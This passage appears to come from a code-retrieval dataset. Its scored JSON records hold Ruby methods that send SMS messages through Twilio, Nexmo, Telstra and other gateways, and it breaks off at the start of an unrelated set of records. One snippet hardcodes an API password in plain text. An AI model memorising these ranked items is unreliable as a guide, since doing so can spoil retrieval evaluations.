"docid": "b8ca52fa985c6b44eaa6730add2f5e1f",
"score": "0.6572645",
"text": "def possible_to_send_sms?\n Time.now - confirmation_sent_at > 1.minute\n end",
"title": ""
},
{
"docid": "4c8904b1ca3d80417ddd676371b98fc2",
"score": "0.6550738",
"text": "def send mobile, message\n options = {\n mobile: mobile,\n message: \"#{message}#{MESSAGE_SUFFIX}\"\n }\n\n begin\n response = RestClient.post SMS_SEND_URL, options, headers\n response = JSON.parse(response)\n Rails.logger.info \"SMS: mobile #{mobile}, options: #{options}, response: #{response}\"\n rescue => e\n response = e.message\n end\n # 不同的平台,判断条件不一样。\n # 判断发送是否成功,当前螺丝帽这个平台,error == 0 表示短信发送成功\n unless response.try(:fetch, \"error\") == 0\n Rails.logger.info \"SMS failed: mobile #{mobile}, options: #{options}, response: #{response}\"\n end\n\n response\n end",
"title": ""
},
{
"docid": "ae8a06731b3591534a4b87eaa9b62ce2",
"score": "0.6549626",
"text": "def send_sms(_phone, _text, _args = {})\n raise NotImplementedError,\n \"You should create your own class for every sms service you use\"\n end",
"title": ""
},
{
"docid": "98e17722f1ca400165220de43d94e21b",
"score": "0.6544204",
"text": "def send(number, body)\n token = SmsSender.get_token(CLIENT_ID, CLIENT_SECRET, RestClient)\n SmsSender.send_sms(token, number, body, RestClient)\n end",
"title": ""
},
{
"docid": "9775ca2d13fb08c3e6e42bdbc51f1080",
"score": "0.65420496",
"text": "def sms(body, to_phone, from_phone, sequence_params={})\n client = Twilio::REST::Client.new ENV['TW_ACCOUNT_SID'], ENV['TW_AUTH_TOKEN']\n\n script = sequence_params['script']\n sequence = sequence_params['sequence']\n last_sequence = sequence_params['last_sequence']\n\n if script and sequence and last_sequence\n # idea: put a retry index in the callback_query, which increments each time we retry\n callback_query = \"?phone=#{to_phone}&script=#{script}&next_sequence=#{sequence}&last_sequence=#{last_sequence}\"\n\n res = client.account.messages.create(\n :body => body,\n :to => to_phone, \n :from => from_phone,\n # TODO: add this to .env for local and Heroku environment for production\n :StatusCallback => ENV['TW_CALLBACK_URL'] + callback_query\n )\n else # send plain sms, no callback por favor\n res = client.account.messages.create(\n :body => body,\n :to => to_phone, \n :from => from_phone\n )\n\n end\n\n puts \"Sent SMS to #{to_phone}. Body: \\\"#{body}\\\"\" \n return res \n\n # TODO: collect error_code and status information and react accordingly.\n end",
"title": ""
},
{
"docid": "f2da45a127ab58914c4aa1096e774a20",
"score": "0.6536478",
"text": "def send_message(number, message)\n puts \"sending message to #{number}\"\n puts 'the message is'\n puts message\n if message.length > 160\n puts 'this message must be broken down into small pieces. Fucking twilio'\n chunks = message.scan(/.{150}/)\n puts chunks\n num = chunks.count\n puts \"the number is: #{num}\"\n count = 1\n chunks.each do |chunk|\n puts 'sending a chunk'\n mess = chunk.insert(0, \"(#{count}/#{num}) \")\n count += 1\n params = {'src' => '13069881525', \n 'dst' => number, \n 'text' => mess,\n 'type' => 'sms',\n }\n response = $sms.send_message(params)\n # $sms.account.sms.messages.create(\n # :from => '+14509000103',\n # :to => number,\n # :body => mess\n # )\n end\n else\n \n puts \"Sending a message to #{number}\"\n params = {'src' => '13069881525', \n 'dst' => number, \n 'text' => message,\n 'type' => 'sms',\n }\n response = $sms.send_message(params)\n # $sms.account.sms.messages.create(\n # :from => '+14509000103',\n # :to => number,\n # :body => message\n # )\n end\n \n # Nexmo stuff\n # response = $sms.send_message({\n # from: '16477252253',\n # to: number,\n # text: message\n # })\n # \n # if response.success?\n # puts \"Sent message #{response.message_id}\"\n # elsif response.failure?\n # raise response.error\n # end\n \n # Pilvio stuff\n # params = {'src' => '13069881525', \n # 'dst' => number, \n # 'text' => message,\n # 'type' => 'sms',\n # }\n # response = $sms.send_message(params)\n end",
"title": ""
},
{
"docid": "b365057332e3c68e0e9a9386362dc556",
"score": "0.6534836",
"text": "def send_sms_to_user\n if user.phone_number and user.sms_opt_in?\n message = self.decorate.sms_message_for_new_request_to_user\n\n user.delay.send_sms(message, user.phone_number)\n end\n end",
"title": ""
},
{
"docid": "80310837b4661f6a41cd3bf832790990",
"score": "0.65303326",
"text": "def send_code_sms(code, phone)\n phone = phone.gsub(/[^0-9]/, '').gsub(/^1/, '')\n twilio = YAML.load_file(File.join(Rails.root, 'config', 'twilio.yml'))[Rails.env]\n from = \"+1#{twilio['phone_number']}\"\n to = \"+1#{phone}\"\n body = \"Your McNelis verification code is: #{code}\"\n twilio_client = Twilio::REST::Client.new(twilio['sid'], twilio['token'])\n sent = false\n begin\n twilio_client.account.sms.messages.create(from: from, to: to, body: body)\n rescue Twilio::REST::RequestError => e\n sent = false\n else\n sent = true\n end\n sent\n end",
"title": ""
},
{
"docid": "3e95c36f75edcbcfbf6a70a27236c271",
"score": "0.6507488",
"text": "def sendSms\n @temp = Users.find(params[ :id ]) \n @user = Users.find_by_id(@temp).mobileNumber.to_s\n @name = Users.find_by_id(@temp).username\n String @number = '+20'.to_s + @user\n SendSmsController.send_sms( @number,\"dear MR/MRS \"+@name+\n \" you have been reported by the carrier for not confirming the final delivery of the package , please confirm as soon as possible \n thank you \n -shipme.com\")\n redirect_to :action => 'index'\n end",
"title": ""
},
{
"docid": "f5d00de59cefca373639ac01118c6672",
"score": "0.6487646",
"text": "def send_sms\n client = Client.find_by_id(params[:client_id])\n touch = client.touches.create({message: params[:message_content], outgoing: true, read: true})\n\n # Twilio credentials:\n account_sid = ENV[\"TWILIO_ACCOUNT_ID\"]\n auth_token = ENV[\"TWILIO_AUTH_TOKEN\"] \n\n # set up a client to talk to the Twilio REST API \n @twilio = Twilio::REST::Client.new(account_sid, auth_token) \n \n # Sending an SMS:\n @twilio.account.messages.create(\n :from => client.business.business_phone, \n :to => client.phone_number, \n :body => touch.message\n )\n\n redirect_to \"/dashboard/business/current_thread/#{client.id}\"\n \n end",
"title": ""
},
{
"docid": "dfc0b6742d60fd2fe5005a1bb92876d7",
"score": "0.64826745",
"text": "def send_sms(to, text, api_options = {})\n raise NotImplementedError.new('Implement send_sms(to, text, api_options = {}) in your client.')\n end",
"title": ""
},
{
"docid": "95ab5927062767d4835597f9436ad1c3",
"score": "0.6476887",
"text": "def send_sms(key, num, msg, opts = {})\n data, _status_code, _headers = send_sms_with_http_info(key, num, msg, opts)\n return data\n end",
"title": ""
},
{
"docid": "5271c8c7af111431727c04709a7db1a2",
"score": "0.6472374",
"text": "def deliver_sms_to(resource, body_msg)\n if resource.phone_number.blank? || !resource.casa_org.twilio_enabled?\n return \"blank\"\n end\n\n body = body_msg\n to = resource.phone_number\n from = current_user.casa_org.twilio_phone_number\n\n @twilio = TwilioService.new(current_user.casa_org)\n req_params = {\n From: from,\n Body: body,\n To: to\n }\n\n begin\n twilio_res = @twilio.send_sms(req_params)\n twilio_res.error_code.nil? ? \"sent\" : \"error\"\n rescue Twilio::REST::RestError => error\n @error = error\n \"error\"\n rescue # unverfied error isnt picked up by Twilio::Rest::RestError\n # https://www.twilio.com/docs/errors/21608\n @error = \"Phone number is unverifiied\"\n \"error\"\n end\n end",
"title": ""
},
{
"docid": "b2b7b5cc9af4666253672592493aa986",
"score": "0.64673376",
"text": "def send_mms(mms_messages)\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'mms_messages' => mms_messages\r\n )\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/mms/send'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: mms_messages.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"title": ""
},
{
"docid": "e3732ee43a93af5989fba7e5d6681a99",
"score": "0.6464037",
"text": "def create\n message = send_sm_params[:message]\n destination = send_sm_params[:destination]\n\n\n if SendSMS.send_message(message, destination)\n redirect_to send_sms_path, notice: 'Send sms was successfully created.'\n else\n redirect_to send_sms_path, notice: 'Could not send'\n end\n end",
"title": ""
},
{
"docid": "6b738506f3bf4fc6b1652b4fa87f493c",
"score": "0.645264",
"text": "def request_sms\n\t \tsender = params[:From]\n\t \treceiver = params[:From]\n\t \tmessages_array = []\n\t sms_receiver = TextMessage.new #Class TextMessage is on lib folder \n\t sms_receiver.body = \"\" \n\t sms_receiver.from = \"+18316847481\" #twilio number\n\t sms_receiver.to = receiver\n\t messages_array[0] = sms_receiver\n\t #splits the received message\n\t instructions = params[:Body].upcase.split('/')\n\t \tcase instructions[0]\n\t \t#TODO: Pin\n\t \twhen \"REQUEST\"\n\t \t\t#request number\n\t \t\t#instruction: request/mom/email/pin\n\t \t\tuser = User.where(\"lower(email) = ? AND pin = ?\", instructions[2].downcase,instructions[3]).first\n\t \t\tif user\n\t \t\t\tcontact = user.contacts.where(\"lower(name) = ?\", instructions[1].downcase).first\n\t \t\t\tsms_receiver.body = \"Hello #{user.name} the number of #{instructions[1]} is #{contact.phone}; Remember to delete the messages for security\"\n\t \t\telse\n\t \t\t\tsms_receiver.body = \"Sorry the email or pin are wrong!\"\n\t \t\tend\t\t\n\t \telse\n\t\t\t#send SMS\n\t\t\t#instruction: mom/body/email/pin\n\t\t\tif instructions.size == 4\n\t\t\t\tuser = User.where(\"lower(email) = ? AND pin = ?\", instructions[2].downcase,instructions[3]).first\n\t\t\t\tif user\n\t\t \t\t\tcontact = user.contacts.where(\"lower(name) = ? \", instructions[0].downcase).first\n\t\t\t\t\tsms_receiver.body = \"the message was sent to the phone number of #{instructions[0]} which is #{contact.phone}; Remember to delete the messages for security\"\n\t\t\t\t\tsms_sender = TextMessage.new\n\t\t sms_sender.body = instructions[1].downcase\n\t\t sms_sender.from = \"+18316847481\"\n\t\t sms_sender.to = contact.phone\n\t\t messages_array[1] = sms_sender\t\n\t\t \t\telse\n\t\t \t\t\tsms_receiver.body = \"Sorry the email or pin are wrong!\"\n\t\t \t\tend\t\n\t\t \telse\n\t\t \t\tsms_receiver.body = \"Wrong instruction!\"\n\t\t \tend\n\t\t\t\n\t \tend\n\t \tresponse = \"\"\n\t account_sid = ENV['TWILIO_ACCOUNT_SID']\n\t auth_token = ENV['TWILIO_TOKEN']\n\t @client = Twilio::REST::Client.new account_sid, auth_token \n\t messages_array.each do |message|\n\t @client.account.messages.create(\n\t :from => message.from,\n\t :to => message.to,\n\t :body => message.body\n\t ) \n\t response = \"Sent message to #{message.from}\"\n\t end\n\t render xml: response\n\t end",
"title": ""
},
{
"docid": "160013c93231505470b08be5d3540d45",
"score": "0.64517725",
"text": "def send_sms(user_id, phone_number)\n @sms.send_sms(@management_client, user_id, phone_number)\n end",
"title": ""
},
{
"docid": "46c9f809707d73e032738dbe66c7459a",
"score": "0.6449677",
"text": "def send_sms\n begin\n @client = Twilio::REST::Client.new @account_sid, @auth_token\n \n message = @client.account.messages.create(:body => @shakes_insult,\n :to => \"+15106849426\", # Replace with your phone number\n :from => \"+14152026709\") # Replace with your Twilio number\n rescue Twilio::REST::RequestError => e\n return e.message\n end\n return message.sid\n end",
"title": ""
},
{
"docid": "fb1c1349e5daa690173a4f5f7bf5810b",
"score": "0.6441383",
"text": "def deliver!\n # Check if sms have all require fields\n validate_sms\n\n # Check if phone number is correct\n validate_phone_numbers!\n\n # Sending sms to smsapi.pl\n response = Net::HTTP.post_form(URI.parse(SmsApi.api_url), generate_params).body\n\n # Checking response. If is an error then we are raising exception\n # other wise we return array [:ID, :POINTS]\n # where ID is an sms ID and POINTS is cost of an sms\n if response.match(/^ERROR:(\\d+)$/)\n raise DeliverError, $1\n elsif response.match(/^OK:(.+):(.+)$/)\n [$1, $2]\n else\n raise DeliverError, \"Unknow response.\"\n end\n end",
"title": ""
},
{
"docid": "58c010d81599d344408849a2447fac67",
"score": "0.64335704",
"text": "def sendmms\n @inside_send = true\n @messages = []\n @gateway = nil \n \n begin\n yield \n raise \"No messages declared!\" if @messages.empty?\n raise \"No gateway specified! (specify with via)\" if @gateway.nil?\n @gateway = @gateway.promote_to(MMSSender)\n @messages.each do |msg|\n puts \"Sending message from #{msg.from} to #{msg.to}...\"\n @gateway.send(msg)\n end\n @inside_send = false\n rescue Exception => boom\n puts boom.to_s\n puts boom.backtrace\n end\n end",
"title": ""
},
{
"docid": "0628e8792c38657b40f525dd47830b6b",
"score": "0.64263767",
"text": "def send_sms(to, message = \"\")\n response = HTTParty.get(@uri+\"&to=#{to}&text=#{message}\")\n response.body\n end",
"title": ""
},
{
"docid": "7471122e5a70e771d175a7a869839fca",
"score": "0.6417325",
"text": "def send_sms(body, email)\n deliver_sms(\"9025950365\",\"telus-canada\", body, :from => email, :subject => 'ashhill.ca')\n end",
"title": ""
},
{
"docid": "11437bf9460cbdbedafb98f6e8cbac06",
"score": "0.64124",
"text": "def sms_send(phones, message)\n request = {\n sender: 'Qjob',\n phones: phones,\n body: message,\n transliterate: '0'\n }\n\n send_request('sms/send', 'post', request)\n end",
"title": ""
},
{
"docid": "f69b3755b636940b7aeac0e71ab0f454",
"score": "0.6412136",
"text": "def sends_message?(string)\n end",
"title": ""
},
{
"docid": "c2616b311b64d3f0ebfcc164210dc9fd",
"score": "0.64113724",
"text": "def message_sent?(sqs_client, queue_url, message_body)\r\n sqs_client.send_message(\r\n queue_url: queue_url,\r\n message_body: message_body\r\n )\r\n true\r\nrescue StandardError => e\r\n puts \"Error sending message: #{e.message}\"\r\n false\r\nend",
"title": ""
},
{
"docid": "6861d7451a4e97005d95f0c9101d34a5",
"score": "0.6403168",
"text": "def send_sms(to: sms_to, body: sms_body)\n [to, body]\n generate_token\n options = { body: {\n body: body,\n to: to\n }.to_json,\n headers: { \"Content-Type\" => \"application/json\", \"Authorization\" => \"Bearer #{@token}\" }}\n response = HTTParty.post(\"https://api.telstra.com/v1/sms/messages\", options)\n return JSON.parse(response.body)\n end",
"title": ""
},
{
"docid": "6e6e06296e71330e622f0c2dae72b5d2",
"score": "0.63991266",
"text": "def create\n api = Clickatell::API.authenticate(3394680, \"johnelauria\", \"$ys2012tems?\")\n @smstext = Smstext.new(params[:smstext])\n recipient = @smstext.recipient\n smsmessage = @smstext.smsmessage\n api.send_message(recipient, smsmessage)\n\n respond_to do |format|\n if @smstext.save\n flash[:success] = \"You have successfully sent a SMS message\"\n format.html { redirect_to @smstext }\n format.json { render json: @smstext, status: :created, location: @smstext }\n else\n format.html { render action: \"new\" }\n format.json { render json: @smstext.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "40e2d0dba7449d56ea5e350b7a103d78",
"score": "0.6395651",
"text": "def send_sms(params)\n from = params[:From]\n body = params.key?(:URL) ? params[:Body] + params[:URL] : params[:Body]\n to = params[:To]\n # returns a twilio API message object\n # refer to docs: https://www.twilio.com/docs/sms/api/message-resource#message-properties\n @client.messages.create(\n from: from,\n body: body,\n to: to\n )\n end",
"title": ""
},
{
"docid": "b8f4d9266d14e0e718e34f265bfe4030",
"score": "0.6390112",
"text": "def send_sms(options)\n options = {to: @user.mobile}.merge(options)\n if send_to_twilio?\n TwilioJob.perform_later(options)\n elsif options[:to]\n message = \"SlackSMS (#{options[:to]}) #{options[:body]}\"\n SlackMessageJob.perform_later(message, ENV['SLACK_PIN_CHANNEL'])\n end\n end",
"title": ""
},
{
"docid": "60da15859ab710e131ed8f7f90622c12",
"score": "0.6389377",
"text": "def dispatch_smm(from_phone_number, to_phone_number, message_text, test, progress)\n\n begin\n # set up a client to talk to the Nexmo REST API\n nexmo = Nexmo::Client.new(key: PROD_API_KEY, secret: PROD_API_SECRET)\n\n # TODO: add status callback to get message delivery status and errors\n unless unsubscribed(to_phone_number, current_user[:id])\n messageId = nexmo.send_message(\n from: from_phone_number,\n to: to_phone_number,\n text: message_text,\n type: message_text.multibyte? ? 'unicode' : 'text',\n :'client-ref' => params[:campaign_id]\n\n )\n @success_count += 1\n puts \"New SMS sent to: \" + to_phone_number.to_s\n progress.push([\"Successfully sent message to #{to_phone_number}\", \"alert-success\"]) \n\n if Rails.env.production?\n tracker = Mixpanel::Tracker.new(Generic.get_mixpanel_key)\n tracker.track(current_user[:id], 'SMS Sent')\n end \n\n save_sent_message_log(messageId, from_phone_number, to_phone_number, message_text, \"queued\")\n else\n progress.push([\"Not sending, customer asked to unsubscribe: #{to_phone_number}\", \"\"])\n puts \"SMS not sent, customer unsubscribed - #{to_phone_number}\"\n end\n\n rescue => err\n progress.push([\"#{err.message}: #{to_phone_number}\", \"alert-error\"])\n puts \"SMS Sending failed: #{err.message} - #{to_phone_number}\"\n end\n\n return progress\n end",
"title": ""
},
{
"docid": "4f298a1d2642c0be852b2395a132368b",
"score": "0.6387818",
"text": "def send_sms(message:, recipient:, sender:)\n body = {\"message\" => message , \"recipient\" => recipient , \"sender\" => sender}\n res = HTTParty.post(@xoxzo_api_sms_url, :basic_auth => @auth,\n :body => body,\n #:debug_output => $stdout,\n :headers => { 'Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'application/json'})\n if res.code == 201\n xr = XoxzoResponse.new(messages: json_safe_parse(res.body))\n else\n xr = XoxzoResponse.new(errors: res.code,message: json_safe_parse(res.body))\n end\n return xr\n end",
"title": ""
},
{
"docid": "3232dd92c2b3561198589a5220a0d843",
"score": "0.6386656",
"text": "def send()\n if not @to or not @from or not @subject\n STDERR.puts \"ELTmail::Mail: ERROR: Missing elements:\"\n STDERR.puts \"To, From, or Subject.\"\n return false\n end\n if @msg_parts.empty?\n STDERR.puts \"ELTmail::Mail: ERROR: Missing elements:\"\n STDERR.puts \"No message text provided.\"\n return false\n end\n\n @message.body=@msg_parts\n begin\n Net::SMTP.start(@mail_server) do |smtp|\n smtp.send_message(@message.to_s, @from, @to)\n end\n rescue Exception => ex\n STDERR.puts \"ELTmail::Mail: Error sending message.\"\n STDERR.puts ex.message\n return false\n end\n sleep(2)\n return true\n end",
"title": ""
},
{
"docid": "58baccc9d634e03b14eb13be715ab80a",
"score": "0.6369322",
"text": "def send(sendMessage, sendTo)\n #---new code--- STILL NEEDS TO BE TESTED\n \n #get user to send to from database (edge case: what if not in db?)\n recepient = Researcher.find_by(phone_number: sendTo)\n \n message_length = sendMessage.length()\n \n #Each text has 145 characters\n number_texts = message_length/145\n \n #Message to be sent\n sent_message = nil\n \n #Checks the text capacity of the account\n if (number_texts > recepient.textcap)\n sent_message = \"The number of texts that this message will send exceeds the number of your accounts capacity\"\n \telse\n sent_message = sendMessage\n\tend\n \n #original method\n @client.account.sms.messages.create(\n :from => '2898029128',\n :to => sendTo,\n :body => sent_message\n )\n \nend",
"title": ""
},
{
"docid": "07b8965db7d99d6a308c9095ad31a02a",
"score": "0.63534653",
"text": "def send_sms(msg)\n\t\t\ts = msg.recipient.phone_number\n\t\t\tt = msg.text\n\t\t\t\n\t\t\t# allow RubySMS to notify the router\n\t\t\t# this is a giant ugly temporary hack\n\t\t\tsuper\n\t\t\t\n\t\t\t# init the message log for\n\t\t\t# this session if necessary\n\t\t\t@msg_log[s] = []\\\n\t\t\t\tunless @msg_log.has_key?(s)\n\t\t\t\n\t\t\t# add the outgoing message to the log\n\t\t\tmsg_id = @msg_log[s].push\\\n\t\t\t\t[t.object_id.abs.to_s, \"out\", t]\n\t\tend",
"title": ""
},
{
"docid": "3ba3499c0de26edb046f976acfb81e74",
"score": "0.6344754",
"text": "def send_sms( number, body, opts = {} )\n params = {\n 'From' => opts[:from] || @config[:default_number],\n 'To' => number,\n 'Body' => body,\n 'Method' => opts[:method] || 'POST'\n }\n request( 'SMS/Messages', 'POST', params ) \n end",
"title": ""
},
{
"docid": "a52fc742812c579ee48dcff59af0455d",
"score": "0.6342033",
"text": "def send(parameters)\n verify_parameters(parameters, [:from, :message, :to])\n\n # Warn if the from string will be capped by the sms gateway\n if parameters[:from] && parameters[:from].match(/^(\\w{11,})$/)\n warn \"SMS 'from' value #{parameters[:from]} will be capped at 11 chars\"\n end\n\n response = Elk.post('/SMS', parameters)\n self.new(Elk.parse_json(response.body))\n end",
"title": ""
},
{
"docid": "82a83cd1572488ea38525b6b282b0bb4",
"score": "0.6341155",
"text": "def send_sms\n Sms.new(self)\n end",
"title": ""
},
{
"docid": "dccedb39c35a54961c754ca83ecf8dc2",
"score": "0.63318837",
"text": "def sms?\n sms ? (sms == \"enabled\") : false\n end",
"title": ""
},
{
"docid": "29bf221c469df5d33b353d08b2503774",
"score": "0.6327102",
"text": "def test_create_sms_single\n sms = @twizo.create_sms('test body', nil, 'test sender')\n\n test_recipient = NUMBER1\n sms.params.recipients = test_recipient\n\n sms = sms.send_simple\n\n test_message_id = sms.result[0].messageId\n\n status = @twizo.get_sms_status(test_message_id)\n\n assert_equal test_message_id, status.messageId\n assert_equal test_recipient, status.recipient\n end",
"title": ""
},
{
"docid": "262b0591b24764b9db462a83f3430bcf",
"score": "0.63117754",
"text": "def create_sms_sendsms(options = {})\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/sms/sendsms.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'From' => options['from'],\r\n 'To' => options['to'],\r\n 'Body' => options['body'],\r\n 'Method' => options['method'],\r\n 'MessageStatusCallback' => options['message_status_callback'],\r\n 'Smartsms' => options['smartsms'],\r\n 'DeliveryStatus' => options['delivery_status']\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"title": ""
},
{
"docid": "49c0cfba6d8f96115e234d03f75a8673",
"score": "0.6306963",
"text": "def sms(message, to: T.unsafe(nil), from: T.unsafe(nil), action: T.unsafe(nil), method: T.unsafe(nil), status_callback: T.unsafe(nil), **keyword_args); end",
"title": ""
},
{
"docid": "bc6eea2072e898f81292f61606332e2f",
"score": "0.6293101",
"text": "def sendTextSms(text_message,max_sms_per_message=1,test=false)\n\n checkParameters(text_message.recipient_address_list, text_message.sender_address, text_message.sender_address_type,\n text_message.send_as_flash_sms, text_message.notification_callback_url, text_message.client_message_id, text_message.priority,\n test)\n\n raise ParameterValidationException, 'message_content is mandatory parameter and has to be a string' unless text_message.message_content.is_a? String\n raise ParameterValidationException, 'max_sms_per_message has to be an integer' unless max_sms_per_message.is_a? Integer || max_sms_per_message.nil?()\n\n if(!text_message.sender_address_type.nil?())\n isAValidType = false\n SenderAddressType.constants.each do |type|\n if type.equal?(text_message.sender_address_type)\n isAValidType = true\n end\n end\n\n if(!isAValidType)\n raise ParameterValidationException, 'sender_address_type has to be one of these attributes: ' + SenderAddressType.constants* \", \".to_s()\n end\n\n end\n\n sms_send_request = At::Sms::Business::Api::Domain::Sms::TextSmsSendRequest.new\n sms_send_request.messageContent = text_message.message_content\n sms_send_request.recipientAddressList = text_message.recipient_address_list\n sms_send_request.senderAddress = text_message.sender_address\n sms_send_request.senderAddressType = (text_message.sender_address_type.nil?) ? text_message.sender_address_type : text_message.sender_address_type.downcase\n sms_send_request.sendAsFlashSms = text_message.send_as_flash_sms\n sms_send_request.clientMessageId = text_message.client_message_id\n sms_send_request.priority = text_message.priority\n \n sms_send_request.maxSmsPerMessage = max_sms_per_message\n sms_send_request.test = test\n\n response_handler = ResponseHandler.new;\n\n @HttpDispatcher.sendPostRequest(@username, @password,\n \"/json/smsmessaging/text\", sms_send_request,\n response_handler, nil)\n\n return response_handler.return_code\n\n end",
"title": ""
},
{
"docid": "688edc918784611e46bc08a35262b35a",
"score": "0.6292379",
"text": "def send_SMS_to( number, msg )\n where = \"HELPER: \" + (__method__).to_s\n begin\n puts \"ATTEMPT TO SMS TO BAD NUMBER\" if number.match(/\\+1\\d{10}\\z/)==nil\n\n @message = $twilio_account.sms.messages.create({\n :from => ENV['TWILIO_CALLER_ID'],\n :to => number,\n :body => msg\n })\n puts \"SENDING OUTGOING SMS: \"+msg+\" TO: \"+number\n\n rescue Exception => e; log_exception( e, where ); end\n end",
"title": ""
},
{
"docid": "dd3c1d295a04a457c549024ab23f0201",
"score": "0.6281639",
"text": "def reply_via_SMS( msg )\n where = \"HELPER: \" + (__method__).to_s\n begin\n @message = $twilio_account.sms.messages.create({\n :from => ENV['TWILIO_CALLER_ID'],\n :to => params['From'],\n :body => msg\n })\n puts \"REPLYING WITH AN OUTGOING SMS: \"+msg+\" TO: \"+params['From']\n\n rescue Exception => e; log_exception( e, where ); end\n end",
"title": ""
},
{
"docid": "d822d0575b9f248e713d73b92be028d2",
"score": "0.62783957",
"text": "def start_sms\n if self.upcoming? # check that the sortie has not been canceled\n msg = \"Hi! Your date with %s is in #{ ActionView::Helpers::DateHelper.distance_of_time_in_words Time.now, self.time }, you can now chat to sync any details etc., just respond to this number! Happy Dating :) Mojo.\"\n \n # sent msg to host\n Sms.deliver(self.host.cellphone, msg % self.guest.first_name)\n # sent msg to guest\n Sms.deliver(self.guest.cellphone, msg % self.host.first_name)\n end\n end",
"title": ""
},
{
"docid": "e9fddea92afdc8721632b5ee81a6dffd",
"score": "0.62637514",
"text": "def send_sms(user, body)\n user = get_model(user, User)\n message = twilio_client.sms.messages.create(\n {:from => '+13475374153', :to => user.phone, :body => body}\n )\n end",
"title": ""
},
{
"docid": "55adaeb3cfddcb4b5dd4f40275de6ffc",
"score": "0.62625766",
"text": "def send_message(number, message)\n response = $sms.send_message({\n from: '16477252253',\n to: phone_number,\n text: message\n })\n \n if response.success?\n puts \"Sent message #{response.message_id}\"\n elsif response.failure?\n raise response.error\n end\n end",
"title": ""
},
{
"docid": "70e0e44e595ca02bae79eb4933424096",
"score": "0.6257358",
"text": "def test_create_sms_simple\n sms = @twizo.create_sms('test body', nil, 'test sender')\n\n test_recipient = NUMBER1\n sms.params.recipients = test_recipient\n\n sms = sms.send_simple\n\n test_message_id = sms.result[0].messageId\n\n status = @twizo.get_sms_status(test_message_id)\n\n assert_equal test_message_id, status.messageId\n assert_equal test_recipient, status.recipient\n end",
"title": ""
},
{
"docid": "8ab52d91a7ca24d845dce9d2ed675e57",
"score": "0.6250307",
"text": "def sms(phone_number,\n use_case_code=nil,\n extra=nil,\n timeout=nil)\n\n params = {:phone_number => phone_number}\n\n unless use_case_code.nil?\n params[:use_case_code] = use_case_code\n end\n\n unless extra.nil?\n params.merge!(extra)\n end\n\n execute(Net::HTTP::Post,\n \"/v1/verify/sms\",\n nil,\n params,\n timeout)\n end",
"title": ""
},
{
"docid": "c85ff14eff83d1e31082918742bf7eb8",
"score": "0.62449694",
"text": "def send_message\n token = get_token\n # puts \"token = \" + token.to_s\n # puts token\n if token\n url = URI.parse(ENV['RINGCENTRAL_PATH'] + '/restapi/v1.0/account/~/extension/~/sms')\n\n @user = User.find_by(device_id: params[:device_id])\n if @user\n @user.caregivers.each do |cargiver|\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n\n request = Net::HTTP::Post.new(url.path)\n request.add_field('Authorization','Bearer ' + token.to_s)\n request.add_field('Content-Type', 'application/json')\n\n @message = @user.first_name + ' ' + @user.last_name + ' has requested help by invoking the Amazon Echo Application “Call For Help”'\n @message = @message + ' Please check on ' + @user.title + ' ' + @user.last_name + ', send help, or call 911. '\n\n if params[:message]\n @message = @message + \" \"+ @user.title + ' ' + @user.last_name + \" made the following statement: \" + params[:message]\n end\n\n if @user.home_phone\n @message = @message + \"\\n Home: \" + @user.home_phone\n end\n\n if @user.cell_phone\n @message = @message + \"\\n Cell: \" + @user.cell_phone\n\n end\n json = {\"to\" => [],\n \"from\" => {\"phoneNumber\" => ENV['RINGCENTRAL_LOGIN']},\n \"text\" => @message}\n\n json[\"to\"].push({ \"phoneNumber\" => \"1\" + cargiver.phone_number.to_s})\n response = http.request(request, json.to_json)\n\n puts \"MESSAGE RESPONSE\"\n body = JSON.parse response.body\n puts body['messageStatus']\n puts Time.now\n\n if response.code != '200'\n puts \"MESSAGE RESPONSE\"\n puts response.body\n return false\n end\n end\n return true\n end\n else\n return false\n end\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "f19c11bbac86644d1e441d519006eeed",
"score": "0.0",
"text": "def set_graduation_semester\n @graduation_semester = GraduationSemester.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
